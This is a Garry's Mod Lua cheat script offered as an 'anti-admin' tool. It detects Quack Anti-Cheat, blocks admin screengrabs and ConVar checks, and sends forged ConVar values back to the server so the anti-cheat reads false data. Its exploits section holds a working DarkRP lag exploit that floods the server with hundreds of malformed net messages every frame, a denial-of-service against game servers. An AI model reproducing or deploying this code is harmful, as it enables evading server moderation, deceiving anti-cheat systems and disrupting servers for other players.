
--[[ Anubis' Iron Curtain : Anti-admin script ]]--
--[[ Created by Anubis ]]--
--[[
This is an extensive anti-admin script that will protect you from numerous anti-cheat 
techniques such as ConVar grabbing and Lua file checks. This script also contains a 
DarkRP lag exploit and directed script protection.

To add:
- Anti-spectate hearing (DarkRP)
--]]

--[[ Startup Vars and stuff ]]--
if(!file.Exists("aic_cvars.txt", "DATA")) then
	file.Append("aic_cvars.txt", util.TableToJSON({"sv_cheats","host_framerate","sv_allowcslua","mat_fullbright"}))
end
--]]

--[[ Variables ]]--
local aic_Notifications = CreateClientConVar("aic_notifications", "1", true, false)
local aic_DetectAC = CreateClientConVar("aic_detectac", "1", true, false)
local aic_ProtectedFiles = {}
local aic_ProtectedCVars = {}

local aic_QACInfo = { "QAC", "Quack Anti-Cheat", "ZeroTheFallen" }
local aic_QACMessages = { "checksaum", "gcontrol_vars", "control_vars" }

local ConVarClass = FindMetaTable( "ConVar" )

local aic
local aic_DetectCheck
local aicMenu
local aic_TitleLabel
local aic_ProtectedCVarsD
local aic_ProtectedCVarsEntry
local aic_DetectLabel
local aic_OptionsLabel

local aic_QACLabel
local aic_QACBoolLabel
-------------------

--[[ Utility Functions ]]--
local function aic_Output( str )
chat.AddText(Color(232,62,62),"[Iron-Curtain] ",Color(100,255,100),str)
end

local function FindIndex(t,val)
	for k,v in pairs(t) do
		if(v == val) then
			return k
		end
	end
		if(aic_Notifications:GetString() == "1") then
			aic_Output("Could not find Value \"" .. val .. "\" in table!")
		end
	return nil
end

-- These functions must rewrite the files and refresh the ListViews with Clear()
local function RewriteProtectedCVars()
	if(file.Exists("aic_cvars.txt", "DATA")) then
		file.Delete("aic_cvars.txt")
	end

	file.Append("aic_cvars.txt", util.TableToJSON(aic_ProtectedCVars))
	aic_ProtectedCVarsD:Clear()

	for k,v in pairs(aic_ProtectedCVars) do
		aic_ProtectedCVarsD:AddLine(v)
	end
end

local function RewriteProtectedFiles()
end

local function AddProtectedCVar( str )
	table.insert(aic_ProtectedCVars, str)
	RewriteProtectedCVars()
end

local function RemoveProtectedCVar( str )
	table.remove(aic_ProtectedCVars, FindIndex(aic_ProtectedCVars, str))
	RewriteProtectedCVars()
end 

local function AddUsingAntiCheat( acInfo )
	if(acInfo == "QAC") then
		aic_QACBoolLabel:SetText("DETECTED")
		aic_QACBoolLabel:SetColor(Color(0,255,0))
	end
end

local function IsMessagePooled( netmessage )
	status, error = pcall(net.Start,netmessage)
	return status
end

local function DisableAllDetections()
	aic_QACBoolLabel:SetColor(Color(255,0,0))
	aic_QACBoolLabel:SetText("NOT DETECTED")
end
---------------------------

aic_Output("Welcome to Anubis' Iron-Curtain.")
--[[ AIC Menu ]]--
aicMenu = vgui.Create('DFrame')
aicMenu:SetVisible(false)
aicMenu:SetSize(490, 336)
aicMenu:SetPos(60, 42)
aicMenu.Paint = function()
	draw.RoundedBox( 8, 0, 0, aicMenu:GetWide(), aicMenu:GetTall(), Color( 0, 0, 0, 240 ) )
end
aicMenu:SetTitle("Anubis's Iron Curtain")
aicMenu:SetSizable(true)
aicMenu:SetDeleteOnClose(false)
aicMenu:MakePopup()

aic = vgui.Create('DCheckBoxLabel')
aic:SetParent(aicMenu)
aic:SetConVar("aic_notifications")
aic:SetPos(20, 90)
aic:SetText('Show chat notifications')
aic.DoClick = function() end
aic:SizeToContents()

aic_DetectCheck = vgui.Create('DCheckBoxLabel')
aic_DetectCheck:SetParent(aicMenu)
aic_DetectCheck:SetConVar("aic_detectac")
aic_DetectCheck:SetPos(20, 110)
aic_DetectCheck:SetText('Detect Anti-cheats')
aic_DetectCheck.DoClick = function() end
aic_DetectCheck:SizeToContents()

aic_TitleLabel = vgui.Create('DLabel')
aic_TitleLabel:SetParent(aicMenu)
aic_TitleLabel:SetFont('CloseCaption_Bold')
aic_TitleLabel:SetPos(20, 40)
aic_TitleLabel:SetColor(Color(255,165,0))
aic_TitleLabel:SetText("Anubis' Iron Curtain - Anti-admin solution")
aic_TitleLabel:SizeToContents()

aic_ProtectedCVarsD = vgui.Create('DListView')
aic_ProtectedCVarsD:SetParent(aicMenu)
aic_ProtectedCVarsD:SetPos(250, 70)
aic_ProtectedCVarsD:SetSize(208, 100)
aic_ProtectedCVarsD:AddColumn("Protected ConVars")
aic_ProtectedCVarsD.OnClickLine = function(parent, line, isselected) 
	RemoveProtectedCVar(line:GetValue(1))

	if(aic_Notifications:GetString() == "1") then
		aic_Output("Removed " .. line:GetValue(1) .. " from protected ConVars")
	end
end

aic_ProtectedCVarsEntry = vgui.Create('DTextEntry')
aic_ProtectedCVarsEntry:SetParent(aicMenu)
aic_ProtectedCVarsEntry:SetPos(250,175)
aic_ProtectedCVarsEntry:SetSize(208, 20)
aic_ProtectedCVarsEntry.OnEnter = function() 
	if(table.HasValue(aic_ProtectedCVars, aic_ProtectedCVarsEntry:GetText())) then
		if(aic_Notifications:GetString() == "1") then
		aic_Output("This ConVar is already protected!")
		end
	else
			if(aic_Notifications:GetString() == "1") then
			aic_Output("Added " .. aic_ProtectedCVarsEntry:GetText() .. " to protected ConVars.")
			end
		AddProtectedCVar(aic_ProtectedCVarsEntry:GetText())
		aic_ProtectedCVarsEntry:SetText("")
	end
end

aic_DetectLabel = vgui.Create('DLabel')
aic_DetectLabel:SetParent(aicMenu)
aic_DetectLabel:SetFont('Trebuchet20')
aic_DetectLabel:SetPos(20, 200)
aic_DetectLabel:SetColor(Color(255,165,0))
aic_DetectLabel:SetText("Anti-Cheat Detections")
aic_DetectLabel:SizeToContents()

aic_OptionsLabel = vgui.Create('DLabel')
aic_OptionsLabel:SetParent(aicMenu)
aic_OptionsLabel:SetFont('Trebuchet20')
aic_OptionsLabel:SetPos(20, 65)
aic_OptionsLabel:SetColor(Color(255,165,0))
aic_OptionsLabel:SetText("Options")
aic_OptionsLabel:SizeToContents()

local aic_QACPanel = vgui.Create('DPanel')
aic_QACPanel:SetParent(aicMenu)
aic_QACPanel:SetPos(18, 220)
aic_QACPanel:SetSize(140, 14)

aic_QACLabel = vgui.Create('DLabel', aic_QACPanel )
--aic_QACLabel:SetParent(aicMenu)
aic_QACLabel:SetFont('default')
aic_QACLabel:SetPos(20, 220)
aic_QACLabel:SetColor(Color(211,211,211))
aic_QACLabel:SetText("Quack Anti-Cheat (QAC)")
aic_QACLabel:SizeToContents()

aic_QACBoolLabel = vgui.Create('DLabel', aic_QACPanel )
--aic_QACBoolLabel:SetParent(aicMenu)
aic_QACBoolLabel:SetFont('HudHintTextLarge')
aic_QACBoolLabel:SetPos(150, 219)
aic_QACBoolLabel:SetColor(Color(255,0,0))
aic_QACBoolLabel:SetText("NOT DETECTED")
aic_QACBoolLabel:SizeToContents()


concommand.Add("aic_menu", function ()
	aicMenu:KillFocus()
	aicMenu:SetVisible(true)
end)

aic_ProtectedCVars = util.JSONToTable(file.Read("aic_cvars.txt", "DATA"))
aic_ProtectedCVarsD:Clear()
for k,v in pairs(aic_ProtectedCVars) do
	aic_ProtectedCVarsD:AddLine(v)
end

------------------

--[[ Anti File-Stealer ]]--
 --[[function IsCallPath()
     if debug.getinfo( 2 ).short_src == "autorun/client/whatever.lua" then
    	return true
 	else
    	return false
    end
end


local aic_OldFileRead = file.Read
function file.Read( f,...)
	return file.Read
end]]--
---------------------------

--[[ ConVar Grabbing ]]--
local aic_OldControlVarsAddCallback = cvars.AddChangeCallback
function cvars.AddChangeCallback( cVar, f )
	if(table.HasValue(aic_ProtectedCVars, cVar)) then
		if(aic_Notifications:GetString() == "1") then
			Output("An attempt to add a Callback to protected ConVar \"" .. cVar .. "\" was blocked.")
		end
		return false
	else
		return aic_OldControlVarsAddCallback
	end
end
--]]

--[[ Anti-cheat detector ]]--
for k,v in pairs(aic_QACMessages) do
	if(IsMessagePooled(v)) then
		if(aic_Notifications:GetString() == "1") then
				aic_Output("Anti-cheat detected! Quack Anti-Cheat has been identified!")
			end
			AddUsingAntiCheat("QAC")
			break
	end
end
-----------------------------

--[[ QAC Anti-Cheat protection ]]--
net.Receive("screengrab_start", function ( len )
	if(aic_Notifications:GetString() == "1") then
		Output("Pablo's screengrab attempt blocked!")
	end
	return false
end)

local aic_qacOldSendConVarChange = GControlVarsStart
function GControlVarsStart( )
	if(aic_Notifications:GetString() == "1") then
		Output("QAC ConVar sending was blocked!")
	end
	return false
end

local forgedTable = {}
net.Receive("gcontrol_vars", function( len )
	if(aic_Notifications:GetString() == "1") then
		Output("QAC ConVar Get request received. Will forge replies.")
	end
	
	local cTable = net.ReadTable()
	local cVar = GetConVar(cTable.c)
	local cVal = tostring(cVar:GetDefault())
	
	forgedTable[cVar] = cVal
	
	if(cVal != cTable.v) then
		net.Start("control_vars")
		net.WriteTable({c = cTable.c, v = cVal})
		
		net.SendToServer()
	end
end)
-----------------------------------

--[[ Exploits ]]--
local aic_DarkRPLagSploit = CreateClientConVar("aic_darkrp_lagsploit", 0, false, false)
hook.Add("Think", "aic_sploit01", function ( )
    if((aic_DarkRPLagSploit:GetInt() == 1) and (gmod:GetGamemode().Name == "DarkRP")) then
        for i=0,900 do
        net.Start("DarkRP_preferredjobmodel")
        net.WriteUInt(-8, 8)
        net.WriteString("\n\n\n\n\t\t\t\t\t\n\n\n\n\n\n\n")
        net.SendToServer()
        
        net.Start("DarkRP_spawnPocket")
        net.WriteFloat(-0.1)
        net.SendToServer()
        end
    end
end)

cvars.AddChangeCallback("aic_darkrp_lagsploit", function( cVar, oVal, nVal )
    if((tostring(nVal) == "1") and (gmod:GetGamemode().Name != "DarkRP")) then
        if(aic_Notifications:GetString() == "1") then
            Output("Warning! This exploit targets DarkRP.")
            aic_Notifications:SetString("0")
        end
    end
end)

------------------
--